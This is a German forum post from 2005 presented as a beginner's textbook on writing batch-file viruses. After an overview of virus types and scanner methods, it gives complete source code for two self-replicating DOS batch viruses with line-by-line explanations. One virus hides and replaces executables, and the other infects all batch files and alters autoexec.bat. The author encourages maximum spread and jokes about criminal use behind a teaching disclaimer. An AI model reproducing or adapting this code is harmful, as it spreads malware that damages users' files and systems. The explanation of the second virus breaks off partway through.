Batch Viren

Dieses Thema im Forum "Security Tutorials" wurde erstellt von KillerKarnickel, 2. Dezember 2005 .

Schlagworte:
Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 2. Dezember 2005
    Batch-Viren-Lehrbuch

    Teil I - Generelle Informationen


    Da ich in meiner Anfangszeit als Virenprogrammierer viele Probleme
    damit hatte an vernünftige Tutorials heranzukommen, entschloss ich
    mich nun ein eigenes zu schreiben. Ich entschied mich dafür es in
    Deutsch zu schreiben, da es nur sehr wenige in dieser
    Sprache gibt. Wie natürlich klar ist, ist dieses Handbuch nur für
    Lehrzwecke einzusetzen und ich übernehme natürlich keine Haftung,
    wenn ihr damit irgendetwas kriminelles anstellt... ;-)
    Die folgenden Informationen beziehen sich auf Viren im Allgemeinen:

    Im Jahre 1981 traten die ersten Viren auf, die noch sehr einfach
    gestrickt waren, und nicht sehr destruktiv waren. Mittlerweile haben
    sich die Programmierer aber immer bessere Tricks ausgedacht,
    um den fiesen Antivirenprogrammen zu entgehen.

    Ein Virus ist eigentlich immer nach folgendem Schema aufgebaut:
    1.) Infectionsroutine, die für die Vermehrung sorgt
    2.) Aktivierung. Hier wird festgelegt, wann sich der Virus meldet
    3.) Handlung. Was soll er tun, HD löschen, Grüsse ausrichten ...?

    Hier sollte ich vielleicht noch erwähnen, dass es nicht Ziel eines
    Virus sein sollte, moeglichst viel zu zerstören, sondern sich möglichst
    weit zu verbreiten !!!

    Man unterscheidet folgende Virentypen:

    - Dateiviren
    Sie infizieren meistens COM oder EXE Dateien, seltener jedoch BAT
    Dateien. (Und genau das wollen wir ändern)
    Sie überschreiben Teile des Programms oder hängen sich
    an dessen Ende und werden bei jedem Programmstart aktiv und
    suchen dann nach weiteren Wirten.

    - Makroviren
    Makroviren nutzen die Makrosprache von Exel und Word und starten
    automatisch beim oeffnen einer infizierten Datei. Etwa 70% aller
    heutigen Viren sind Makroviren.

    - Hoax Viren
    Dies sind keine wirklichen Viren, aber Warnungen vor Phantasieviren,
    die alles mögliche zerstoeren koennen. Allerdings werden diese
    Nachrichten gerne weiterversand, um auch Freunde vor dem ach so
    boesen Virus zu waren und verbreiten sich teilweise recht stark.


    Virenscanner suchen diese Viren nach 3 Methoden. Die erste Methode
    besteht darin, dass eine gewisse Zeichenfolge gesucht wird, von
    der man weiss, dass sie nur in dem Virus vorkommt. Eine weitere Methode
    sucht nach Virenähnlichen Kommandofolgen, liefert aber oft
    Fehlalaerme. Die letzte Methode besteht darin, von jeder Datei die
    Dateilänge zu speichern und bei einer Überprüfung mit der aktuellen
    Dateilänge zu vergleichen. Aber mitlerweise gibt es Viren,
    die die Prüfdateien gleich mitverändern ...



    Batch-Viren-Lehrbuch

    Teil II - Hier habt ihr eure 'Sources'

    Ich habe mich entschlossen eine Beschreibung von Batch Viren
    anzufertigen, da diese am leichtesten zu verstehen sind, und keine
    uebermaesigen Programmierkentnisse erfordern. Batch Viren infizieren
    *.BAT programme, und können mit einem einfachen Text-Editor geschrieben
    werden.

    Zuallererst ein recht einfacher Virus, der sogenanne Wagner Virus
    der von Black Wolf 1993 in Virology 101 praesentiert wurde.


    @echo off
    ctty nul
    for %%f in (*.exe *.com) do set A=%%f
    if %A%==COMMAND.COM set A=
    rename %A% V%A%
    if not exist V%A% goto end
    attrib +h V%A%
    copy %0.bat %A%
    attrib +r %A%
    ren %A% *.bat
    set A=
    :end
    ctty con
    @if exist V%0.com V%0.com %1 %2 %3
    @if exist V%0.exe V%0.exe %1 %2 %3

    Für alle totalen Neulinge gehe ich den Code nun Zeile für Zeile durch.

    @echo off
    Dieser Befehl bewirkt, dass die Befehle des Programmes beim ausführen
    nicht angezeigt werden.

    ctty nul
    Hier werden alle Ausgaben ins Nichts geleitet. So das der 'Benutzer'
    nicht sieht, dass Dateien kopiert wurden.

    for %%f in (*.exe *.com) do set A=%%f
    Hier werden alle EXE und COM Dateien und schreibt jede Datei in die
    Variable A. Das bedeutet, dass am Ende die letzte, noch nicht
    infizierte Datei in der Variable A gespeichert wird.

    if %A%==COMMAND.COM set A=
    Falls A die Datei Command.COM enthaelt, wird A Null gesetzt

    rename %A% V%A%
    Die gefundene Datei wird umbenannt in Vname

    if not exist V%A% goto end
    Sollte das Umbenennen schiefgegangen sein, wird zur Stelle :end
    gesprungen und beendet

    attrib +h V%A%
    Die umbenannte Datei wird versteckt und somit nur durch Parameter
    mit dem Befehl dir /a:h sichtbar, auserdem wird sie bei einer erneuten
    Ausfuehrung des Programmes nicht noch einmal umbenannt.

    copy %0.bat %A%
    Der Virus (%0%) wird an die Stelle der COM Datei kopiert
    attrib +r %A%
    Nun wird die Datei vor dem Ueberschreiben geschuetzt

    ren %A% *.bat
    Nun noch eine Umbenennung in eine BAT Datei

    set A=
    Der Parameter A wird wieder geleert, um keine Spuren zu hinterlassen

    :end
    Hierher wird mit goto end gesprungen

    ctty con
    Die Ausgabe wird wieder auf den Bildschirm geleitet

    @if exist V%0.com V%0.com %1 %2 %3
    Falls die Ersetzte Datei eine COM Datei war, wird diese nun ausgeführt

    @if exist V%0.exe V%0.exe %1 %2 %3
    wie eben nur mit EXE Dateien


    Dieser einfache Virus schnappt sich bei jedem Start eine EXE oder COM
    Datei in seinem Verzeichnis und ersetzt sie durch eine Kopie von sich.
    Danach wird die EXE/COM Datei wie gewohnt gestartet.
    Ein anderer Virus, welcher BAT Dateien infiziert, soll hier auch noch
    dargestellt werden. Er infiziert allerdings nur das Verzeichnis, in
    dem er sich befindet, dort aber alle Dateien.



    @echo off>nul.CaT
    if '%1=='Inf goto CaTi
    if exist c:\!CaT.bat goto CaTs
    if not exist %0.bat goto CaTe
    find "CaT"<%0.bat>c:\!CaT.bat
    find "CaT" c:\autoexec.bat >nul
    if not errorlevel 1 goto CaTs
    echo.|date|find "30">nul.CaTs
    if errorlevel 1 goto CaTs
    echo echo CaT KillS YouR SysteM ... ;-> >>c:\Autoexec.bat
    echo ctty nul >>c:\autoexec.bat
    :CaTs
    For %%a in (*.bat) do call c:\!CaT Inf %%a
    goto CaTe
    :CaTi
    find "CaT"<%2>nul
    if not errorlevel 1 goto CaTe
    type c:\!CaT.bat>CaT.t
    echo echo CaT InFeCtEd YoUr SyStEm >>CaT.t
    type %2>>CaT.t
    move CaT.t %2>nul.CaT
    attrib c:\!CaT.bat +h +r +a
    :CaTe



    Erklärung der einzelnen Zeilen:

    @echo off>nul.CaT
    Die Anzeige der Befehle wird ausgeschaltet und eine Rückmeldung wird
    nach nul.CaT geleitet

    if '%1=='Inf goto CaTi
    Sollte der Parameter %1 Inf sein, wird nach CaTi gesprungen

    if exist c:\!CaT.bat goto CaTs
    Wenn die Datei c:\!CaT.bat existiert wied nach CaTs gesprungen

    find "CaT"<%0.bat>c:\!CaT.bat
    Die eigene Datei soll auf die Zeichenkette CaT durchsuchtwerden, und alle
    Zeilen, die diese Zeichen enthalten werden nach !CaT.bat geschrieben.
    Dort wird also ein Abbild des Viruscodes erzeugt.

    find "CaT" c:\autoexec.bat >nul
    if not errorlevel 1 goto CaTs
    Falls CaT in der Datei Autoexec.bat enthalten ist nach CaTs springen.

    echo.|date|find "30">nul
    if errorlevel 1 goto ende
    Am 30. jedes Monats wird der Code weiter ausgefuehrt ansonsten nach CaTs
    gesprungen.

    echo echo CaT KillS YouR SysteM ... ;-> >>c:\Autoexec.bat
    echo ctty nul >>c:\autoexec.bat
    Andernfalls die Zeilen
    echo CaT KillS YouR SysteM ... ;->
    ctty nul
    der Autoexec.bat hinzufügen, was alle totalen Versager aus dem Rennen
    schmeißt, aber keine wirkliche Zerstörung anrichtet.

    :CaTs
    For %%a in (*.bat) do call c:\!CaT Inf %%a
    goto CaTe
    Die Bat Datei !CaT wird nun für jede andere Bat Datei im Verzeichnis
    ausgeführt. Danach wird zu CaTe gesprungen.

    :CaTi
    find "CaT"<%2>nul
    if not errorlevel 1 goto CaTe
    Untersuchung ob die angegebene Datei bereits infiziert ist, falls
    ja wird an das Codeende gesprungen.
     
  2. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.